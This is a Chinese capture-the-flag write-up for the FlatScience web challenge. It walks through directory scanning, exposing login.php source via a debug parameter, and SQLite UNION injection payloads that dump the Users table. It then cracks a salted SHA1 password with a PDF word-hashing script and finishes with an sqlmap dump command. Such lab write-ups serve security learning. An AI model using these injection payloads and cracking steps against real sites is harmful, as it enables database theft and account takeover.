

FlatScience-adworld

FlatScience

GFSJ0223积分 4金币 4

🏆 37 最佳Writeup由 Eric 提供

♡ 收藏 🗨 反馈

难度: 4 方向: Web 题解数: 10 解出人数: 3729

题目来源: Hack.lu-2017

题目描述: 暂无

题目场景: http://61.147.171.105:58245
100%
倒计时: 2时2分51秒
⌛ 延时 🗑 删除场景

题目已回答正确 ✓

首先进行目录爆破

```
[04:27:23] 403 - 297B - /.html
[04:27:23] 403 - 306B - /.htpasswd_test
[04:27:23] 403 - 303B - /.httr-oauth
[04:27:23] 403 - 302B - /.htpasswd
[04:27:27] 301 - 321B - /1 → http://61.147.171.105:58245/1/
[04:27:31] 200 - 442B - /admin.php
[04:27:57] 200 - 509B - /login.php
[04:28:11] 200 - 61B - /robots.txt
[04:28:12] 403 - 305B - /server-status
[04:28:12] 403 - 306B - /server-status/
```

可以看到robots, login, admin的几个后台目录

并且尝试对其中一个login进行sql注入, 有报错提示是sqlite3的数据库, 那么注入是存在的

首先使用sqlmap梭哈, 没有什么效果。事后发现debug的参数没有修改, 可以通过?debug=的构造发现login的源代码

这个代码表明了sqlite3的使用, 并且post的usr和pw没有过滤, 如果有回显, 会加在回显的cookie上

这也是为什么sqlite用不了的原因 (个人猜测是这样)

```
<?php
ob_start();
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>
<style>
blockquote { background: #eeeeee; }
h1 { border-bottom: solid black 2px; }
h2 { border-bottom: solid black 1px; }
.comment { color: darkgreen; }
</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Login</title>
```

```

</head>
<body>

<div align=right class=lastmod>
Last Modified: Fri Mar 31:33:7 UTC 1337
</div>

<h1>Login</h1>

Login Page, do not try to hax here plox!<br>

<form method="post">
  ID:<br>
  <input type="text" name="usr">
  <br>
  Password:<br>
  <input type="text" name="pw">
  <br><br>
  <input type="submit" value="Submit">
</form>

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])) {
    $user = $_POST['usr'];
    $pass = $_POST['pw'];

    $db = new SQLite3('../fancy.db');

    $res = $db->query("SELECT id,name from Users where name='".$user.'" and
password='".$sha1($pass."salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occurred!";
    }

    if(isset($row['id'])){
        setcookie('name',' '.$row['name'], time() + 60, '/');
        header("Location: /");
        die();
    }
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>
<!-- TODO: Remove ?debug-Parameter! -->

```

```
<hr noshade>
<address>Flux Horst (Flux dot Horst at rub dot flux)</address>
</body>
```

sqlite3特征:

SQLite 没有像 MySQL 那样的完整 `information_schema` 视图集, 它的元数据存储主要依赖于 `sqlite_master` 表。

SQLITE_MASTER 表看起来如下:

```
CREATE TABLE sqlite_master ( type TEXT, name TEXT, tbl_name TEXT, rootpage
INTEGER, sql TEXT );
```

对于表来说, type 字段永远是'table',name 永远是表的名字

首先枚举表查询行数

```
'union SELECT name FROM sqlite_master WHERE type='table' -- '报错
'union SELECT 1,name FROM sqlite_master WHERE type='table' -- ' ok
```

```
1 HTTP/1.1 302 Found
2 Date: Wed, 18 Sep 2024 10:01:18 GMT
3 Server: Apache/2.4.10 (Debian)
4 X-Powered-By: PHP/5.6.30
5 Set-Cookie: name=+Users; expires=Wed, 18-Sep-2024 10:02:18 GMT; Max-Age=60;
  path=/
6 Location: /
7 Content-Length: 699
8 Connection: close
9 Content-Type: text/html; charset=UTF-8
0
```

接着使用

```
union SELECT sql,sql FROM sqlite_master WHERE tbl_name = 'Users' and type =
'table'
```

可以得到创建表的语句

```
CREATE TABLE Users(id int primary key,
                    name varchar(255),
                    password varchar(255),
                    hint varchar(255))
```

接下来查询表中数据行

```
'union SELECT name,name FROM Users LIMIT 10 -- '&pw=123 --admin  
'union SELECT id,id FROM Users LIMIT 10 -- '&pw=123 --1  
'union SELECT password,password FROM Users LIMIT 10 -- '&pw=123 -  
-34b0bb7c304949f9ff2fc101eef0f048be10d3bd  
'union SELECT hint,hint FROM Users LIMIT 10 -- '&pw=123 -- my fav word in my fav  
paper?!
```

这里可以根据之前的算法得到, password=""sha1(\$pass."Salz!"), 但问题是什么是my fav word in my fav paper?!

这里不知道为什么枚举的有问题, 第一个的password应该是

3fab54a50e770d830c0416df817567662a9dc85c, 然而我爆出来的password却是第三个的密码

接下来就是根据提示遍历pdf中最喜欢的word

首先使用wget遍历抓取所有pdf

```
wget ip -r -np -nd -A .pdf  
这个命令的作用是递归下载指定目录及其子目录中的所有 PDF 文件。具体来说:  
-r 或 --recursive: 递归下载目录及其子目录中的所有文件。  
-np 或 --no-parent: 不下载父目录中的文件, 只下载指定目录及其子目录中的文件。  
-nd 或 --no-directories: 不创建目录结构, 所有文件下载到当前目录。  
-A .pdf: 只下载以 .pdf 结尾的文件
```

接下来就是比对pdf中最爱的单词。有了ai, 写程序快多了

```
import os  
import hashlib  
from PyPDF2 import PdfReader  
  
def hash_word(word):  
    """Hash a word using SHA1."""  
    word+="Salz!"  
    return hashlib.sha1(word.encode()).hexdigest()  
  
def process_pdf(file_path):  
    """Extract words from a PDF and hash them."""  
    hashed_words = {}  
    with open(file_path, 'rb') as file:  
        reader = PdfReader(file)  
        for page in reader.pages:  
            text = page.extract_text()  
            words = text.split()  
            for word in words:  
                hashed_word = hash_word(word)  
                hashed_words[word] = hashed_word  
    return hashed_words  
  
def process_directory(directory):  
    """Process all PDF files in a directory."""  
    all_hashed_words = {}  
    for root, _, files in os.walk(directory):  
        for file in files:  
            if file.lower().endswith('.pdf'):  
                file_path = os.path.join(root, file)
```

```

        hashed_words = process_pdf(file_path)
        all_hashed_words.update(hashed_words)
    return all_hashed_words

# 指定要遍历的目录
directory = 'd:/ctf/web/sql/wget/'

# 处理目录中的所有 PDF 文件
hashed_words = process_directory(directory)

for word, hashed in hashed_words.items():
    if hashed=="3fab54a50e770d830c0416df817567662a9dc85c":
        print(f'{word}: {hashed}')

```

wp中给出的python爬虫爬取pdf也是一个好方法

```

import requests
from bs4 import BeautifulSoup
import re
import queue

pattern = re.compile(r'href="(.*?)"')
url = "http://159.138.137.79:53404/"
pdf_set = set()
pages = set()
links = queue.Queue()

def getLinks(url):
    page = requests.get(url).text
    soup = BeautifulSoup(page, 'html.parser')
    data = soup.find_all("a")
    for i in data:
        link = url + pattern.search(str(i)).group(1)
        if '.pdf' in link:
            if link not in pdf_set:
                pdf_set.add(link)
        elif '..' in link:
            continue
        else:
            links.put_nowait(link)

# 初始调用
getLinks(url)

while not links.empty():
    newpage = links.get_nowait()
    if newpage not in pages:
        pages.add(newpage)
        getLinks(newpage)

print(pdf_set)
print(len(pdf_set))

```

```
for i in pdf_set:
    r = requests.get(i)
    with open(i.split('/')[ -1], 'wb') as f:
        f.write(r.content)
```

但是还有个pdf直接用md5解，那就是投机取巧了。

不过其中也有提到burpsuite抓包 + sqlmap的爆破，这里尝试一下，是将抓包login.php的文件然后使用-r直接构造sqlmap

```
sqlmap -r 1.txt --dump-all
```